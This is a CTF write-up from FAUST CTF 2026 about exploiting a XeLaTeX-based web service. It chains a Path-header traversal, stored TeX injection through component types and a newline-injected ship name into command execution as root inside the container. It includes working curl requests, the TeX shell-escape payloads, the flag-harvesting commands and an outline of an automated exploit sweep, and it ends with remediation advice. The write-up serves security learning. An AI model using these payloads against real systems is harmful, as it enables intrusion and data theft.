

LAMP

LATEX // APACHE // MARIADB // PAIN

From a Path Header to Container-Root RCE Through XeLaTeX

TEX INJECTION // PATH HEADER // SHELL ESCAPE // RCE

AUTHOR

Denis Krüger

PROJECT

LAMP Security Research

IMPACT

Container-Root RCE

ENVIRONMENT

FAUST CTF 2026

FOCUS

Exploit / Analyze / Automate

REPORT DATE

September 28, 2026

Abstract

This report documents the analysis and exploitation of LAMP (*LaTeX*, *Apache*, *MariaDB*, *Pain*) during FAUST CTF 2026. The service used XeLaTeX for parts of its HTTP handling and application logic, creating several paths for user-controlled data to become executable TeX.

We show how a `Path` header overwrite enabled file reads and how a stored component type led to command execution as root inside the service container. A newline in a persisted ship name provided a carrier for commands that exceeded the component field's 32-byte limit. During the live Attack/Defense competition, we used the resulting chain to recover flags from vulnerable instances and submit them through our team's MOTH infrastructure.

Contents

Abstract	i
1 Introduction	1
2 Service Overview	1
3 Path Header Overwrite	1
4 Stored TeX Injection	2
5 From TeX Injection to Command Execution	2
6 Bypassing the 32-Byte Limit	3
7 Finding the Flags	3
8 Automating the Exploit	4
9 Live Competition Results	4
10 Root Cause and Remediation	5

1 Introduction

LAMP was a ship-building web service in FAUST CTF 2026. Users could register, name a ship, add components, and view the result. Unusually, XeLaTeX handled much of the HTTP and application logic. The service started it with:

```
xelatex -8bit --shell-escape /srv/main.tex
```

We found a chain from client-controlled input to command execution as root *inside the LAMP container*. This does not establish root access to the underlying Vulnbox host. The chain combined a `Path` header overwrite, stored TeX injection through component types, and a newline injection in persisted ship names that overcame a 32-byte payload limit. The same path also let us retrieve command output and checker flags.

This report follows the code paths and payloads we used during the live competition, then describes the observed results and fixes.

2 Service Overview

The entry point, `/srv/main.tex`, configured Redis and MariaDB, loaded custom HTTP handling and authentication middleware, then called `\httpServe{}`. Request lines, headers, POST values, database rows, and stored files all entered the TeX process. With shell escape enabled, TeX also invoked the MariaDB client through `\write18`.

Redis held sessions and account data; MariaDB held ships and components. Registration wrote each ship name to a per-user TeX file under `/storage`. Viewing a ship included that file again:

```
\immediate\openout\shipfile=/storage/\postusername{  
\store{\shipname}{\postshipname{}}  
\immediate\closeout\shipfile{  
  
% During a later request:  
\input{/storage/\username{.tex}
```

The relevant trust boundaries were HTTP to TeX, database to TeX, and stored text to a file that the service later interpreted. The next sections show where those boundaries failed.

3 Path Header Overwrite

LAMP parsed the request-line path into `\httpPath` and validated it before processing headers. The header parser then constructed TeX macro names from header names:

```
\edef\name{\httpTransformHeaderName{\name}}  
\expandafter\edef\csname http\name\endcsname#1{\value}
```

A `Path` header consequently redefined the internal `\httpPath` macro. A request for the valid route `/` could pass path validation, then replace that path with a traversal value. The static handler appended `\httpPath` to its `/srv/www/` root and used the resulting path to serve a file.

```
curl -g -6 --no-proxy '*' --path-as-is \
```

```
-H 'Path: ../../etc/hostname' \
'http://[TARGET]:1337/'
```

This gave us file retrieval from outside the intended web root, subject to what the service process could read. Later we used the same primitive to retrieve files containing command output. The failure was the shared macro namespace: validation checked the request-line path, while the handler consumed the header's replacement value.

4 Stored TeX Injection

The interface offered three component types: `light`, `button`, and `source`. The backend nevertheless accepted arbitrary `typ` values. It escaped the POST value for SQL and stored it in `components.type`:

```
\squarescape{\posttyp{}}{\type}
% INSERT INTO components ... type = "\type" ...
```

When rendering a ship, the service read that column and reconstructed it as TeX:

```
\sqlparserow{c}{compdata}
\edef\type#1{\compdata[3]}
```

SQL escaping protected the database query, but did not make the stored value safe for TeX expansion. A useful payload also needed a backslash, which proved awkward to pass literally through the input and storage path. TeX's `^^5c` notation produces character `0x5c`, a backslash, so `^^5cUseName` reached TeX as a control sequence.

The result was a stored injection: an HTTP POST saved attacker-controlled component data, and a later render expanded that data as TeX.

5 From TeX Injection to Command Execution

The working component-type value was:

```
^^5cUseName{@@input}|"id>/x"
```

Here `^^5c` supplies the backslash, `\UseName{@@input}` resolves LaTeX's internal input primitive, and the pipe form executes `id>/x` with shell escape enabled. We did not need to insert command output into the document; redirecting it to a file was enough. The earlier `Path` bug retrieved the result:

```
curl -g -6 --no-proxy '*' --path-as-is \
-H 'Path: ../../x' \
'http://[TARGET]:1337/'
```

The response contained `uid=0(root) gid=0(root) groups=0(root)`. Execution was therefore confirmed as root inside the service container.

The component type's 32-byte database limit made this a constrained RCE: the proof command fit, but a practical flag search did not. We needed a short launcher for a longer command stored elsewhere.

6 Bypassing the 32-Byte Limit

Registration wrote the ship name to `/storage/<user>.tex` as a TeX macro definition. The storage routine escaped backslashes, braces, underscores, and carets, but allowed a newline. A ship name beginning with a newline put a shell command on its own line in that file:

```
ship=$'\n'$shellcmd"

% Approximate saved file for user Q:
\def \shipname {
ls /storage>x;:}
```

Although the surrounding TeX is not a useful shell program, the command on the middle line runs when the file is passed to `sh`. A short component payload launched it:

```
^^5cUseName{@@input}|"sh /s*/Q*
```

The glob shortened the path to the attacker-created `/storage/Q.tex` file enough to fit the component field. The POST form used `%20` for the space in `sh /s*/Q*`; its parser did not turn a literal `+` into a space. The carrier account's authenticated session was then used to add the malicious component and trigger a render.

This separated storage from execution: the ship name held the long command, while `typ` held only the launcher. The glob was a compact competition shortcut; extra matching paths could make it unreliable.

7 Finding the Flags

On our own instance, checker-created ship names held flags in files beneath `/storage`. The storage routine represented the underscore in a FAUST flag as `\Uchar95`, so the on-disk value needed normalization before submission.

An initial `grep -R FAUST /storage` recovered many old entries. To favor recent checker state, we selected the newest files whose usernames matched the observed 16-character pattern. Two carrier commands wrote the candidate list and matching lines to files that `Path` could retrieve:

```
ls -lt /storage/?????????????????.tex | head -30 >/v3
cat /v3 | xargs grep -h FAUST >/v4
```

The attacking machine then restored escaped underscores, kept strings matching the FAUST flag shape, and removed duplicates:

```
perl -pe 's/\\Uchar95\s*/_/g' |
grep -aoE 'FAUST_[A-Za-z0-9+/{32}]' |
sort -u
```


The 16-character filename pattern came from observed checker accounts, not a service guarantee. It improved freshness during the competition but could miss flags if the checker changed its naming scheme.

8 Automating the Exploit

The Bash harvester iterated over competition teams at `fd66:666:<team>::2`, TCP/1337, excluding our own box and infrastructure targets. It checked whether registration responded before attempting the chain. For each reachable target it:

1. registered a short-lived account whose ship name contained the file-listing command, then triggered its `typ` launcher;
2. registered another carrier for the `grep` command and triggered it;
3. fetched the output through the `Path` traversal;
4. normalized and deduplicated flags locally, then submitted them through MOTH.

Short one-character usernames saved bytes in the constrained launcher. Each registration also produced a session cookie needed to add the component. The form-encoded launcher used `%20` for spaces.

MOTH received batches tagged with the service and source team. Its bearer token came from `MOTH_API_TOKEN` in the environment, rather than a credential embedded in the public script. Team jobs ran concurrently with a worker limit so that one slow instance did not hold up the entire sweep.

Teams patched while the competition ran. The harvester had to distinguish unreachable services, broken registrations, rejected primitives, and instances where the full chain still worked. A failed request alone did not establish which of those states applied.

9 Live Competition Results

The chain worked against vulnerable competition instances. The harvester created carriers, triggered command execution, recovered checker state, and submitted flags through MOTH. Accepted submissions confirmed that at least some recovered flags were current and scorable.

Early broad searches also recovered stale or duplicate flags. Restricting the search to recent checker-like files reduced that noise. MOTH feedback separated syntactically valid extraction from acceptance by the gameserver; a duplicate response did not mean the exploit failed.

The available targets changed during the event. Later service versions we inspected rejected reserved headers such as `Path`, restricted component types to `light`, `button`, or `source`, and validated ship names against a strict character allowlist. These changes closed the specific chain described here on patched instances.

This report does not claim a total number of affected teams or accepted flags. The supported result is that the complete chain produced accepted live submissions while vulnerable instances remained available.

10 Root Cause and Remediation

The underlying failure was allowing externally controlled values to cross interpreter boundaries as code. Header names became TeX control sequences; a SQL-safe component string was later expanded as TeX; and a ship name was written into a file that a short payload could execute through the shell-enabled TeX process. Escaping for one destination did not protect the next one.

The specific fixes follow directly from those boundaries:

- Keep HTTP headers separate from internal request-state macros. Reject reserved names if dynamic macro generation remains.
- Accept only the three supported component types at the backend. Do not rely on the browser's choices or SQL escaping.
- Validate ship names before persistence so control characters, including newlines, cannot change the generated file structure.
- Avoid interpreting user values as TeX source. If shell escape is required, expose only the needed commands and run XeLaTeX with minimal filesystem access and an unprivileged account.

The observed impact was container-root RCE, followed by retrieval of checker flags through the path overwrite. Disabling unrestricted shell escape and reducing the container's privileges would limit the damage from future TeX injection, while input separation and validation address this chain at its entry points.